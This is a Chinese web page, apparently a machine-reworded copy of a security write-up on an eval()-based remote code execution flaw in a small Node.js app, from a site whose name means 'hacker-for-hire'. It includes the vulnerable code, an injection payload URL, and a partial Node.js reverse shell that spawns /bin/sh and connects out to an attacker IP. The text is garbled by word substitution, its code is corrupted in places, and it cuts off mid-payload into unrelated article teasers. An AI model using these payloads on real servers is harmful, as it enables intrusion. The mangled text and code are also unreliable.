布景介绍
一个小型Web开发者团队曾托付咱们对他们的移动使用进行安全评价,该使用的后端是一个REST API。该使用的架构很简单,只由3台linux服务器组成:
Node.js
MongoDB
Redis
首先在不触摸源码的情况下咱们对使用进行了一番测验,成果发现在一些接口假如接纳到了意外的数据就会导致后端程序溃散,咱们还发现redis在公网就能进行拜访,而且没有鉴权。
接下来咱们要做的便是审计Node.js API的代码,理清楚溃散的原因是什么。
简化缝隙的使用程序
咱们创立了一个简练的带有缝隙的Node.js使用,你也能够自己建立测验使用。
这个Node.js使用会监听用户的恳求,比方http://target.tld//?name=do*,获取到name参数的值后会查询对应匹配的动物称号。
'use strict'
const http = require('http');
const url = require('url');
const path = require('path');
const animals *** ON = path.join(__dirname, 'animals.json');
const animals = require(animals *** ON);
function requestHandler(req, res) {
let urlParams = url.parse(req.url, true);
let queryData = urlParams.query;
res.writeHead(200, {"Content-Type": "application/json"});
if (queryData.name) {
let searchQuery = stringToRegexp(queryData.name);
let animalsResult = getAnimals(searchQuery);
res.end( *** ON.stringify(animalsResult));
} else {
res.end();
}
}
function getAnimals(query) {
let result = [];
for (let animal of animals) {
if (query.test(animal.name))
result.push(animal);
}
return result;
}
function stringToRegexp(input) {
let output = input.replace(/[[]^$.|?+()]/, "$&");
let prefix, suffix;
if (output[0] == '*') {
prefix = '/';
output = output.replace(/^*+/g, '');
} else {
prefix = '/^';
}
if (output[output.length - 1] == '*') {
suffix = '/i';
output = output.replace(/*+$/g, '');
} else {
suffix = '$/i';
}
output = output.replace(/[*]/, '.*');
return eval(prefix + output + suffix);
}
const server = http.createServer(requestHandler);
server.listen(3000);
[
{"name": "Dinosaur"},
{"name": "Dog"},
{"name": "Dogfish"},
{"name": "Dolphin"},
{"name": "Donkey"},
{"name": "Dotterel"},
{"name": "Dove"},
{"name": "Dragonfly"},
{"name": "Duck"}
]
缝隙
在对代码进行了几分钟的剖析后,咱们就发现了开发者一个很欠好的习气,这个坏习气将会导致长途指令履行。
stringToRegexp函数会创立出一个RegExp目标来对用户的输入数据进行检测,并使用这个正则表达式目标来搜索数组中的数据元素。
return eval(prefix + output + suffix); // we control output value
咱们能够在output这个变量中刺进恣意的Javascript代码而且履行。
stringToRegexp函数会过滤一些特别的字符而且对output变量进行检查。
["./;require('util').log('Owned');//*"]
拜访如下的链接将会在服务器终端打印一条信息
http://target.tld/?name=["./;require('util').log('Owned');//*"]
这样咱们就能够履行代码,然后获取到服务器的交互Shell(比方/bin/sh)。
Node.js反向Shell
如下的Javascript便是一个Node.js的反向衔接shell。
这个payload将会生成一个/bin/sh的shell,创立一个TCP衔接到攻击者的服务器,而且在通讯数据流中绑定shell指令。
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "10.17.26.64", function(){
[1] [2] 黑客接单网
在 Mac 上的“相片” App 中,挑选要想删掉的新项目。 实行下列一项实际操作: 在日...
0x00 什么是CSRF CSRF(Cross-site request forgery跨站恳求假造,也被称为“One Click Attack”或许Session Riding,一般缩写为CSR...
2019年11月,Chafer要挟小组针对土耳其政府从头运用他们在2019年早些时候运用的基础设施(Clearsky报导的活动中),特别是域名win10-update [.] com。尽管咱们没有见到...
在侦办过程中,信息搜集的初始阶段是扫描。 侦办是什么? 侦办是尽或许多的搜集方针网络的信息。从黑客的视点来看,信息搜集对进犯十分有协助,一般来说能够搜集到以下信息: 电子邮件、端口号、操作体系、运转...
1、传统Web使用与新式移动使用 (1)传统Web使用:浏览器 HTTP 服务器(2)新式移动使用:APP HTTP 服务器 从安全视点看,传统Web使用与新式移动使用没有本质区别 2、Web使用安全...
上一篇文章,我只讲了中继进犯的基本理论,这篇文章,我会举两个示例来及详细阐明。 示例1:运用计算机帐户和SpoolService缝隙获取DC同步权限 在第一种情况下,咱们将乱用我的internal.c...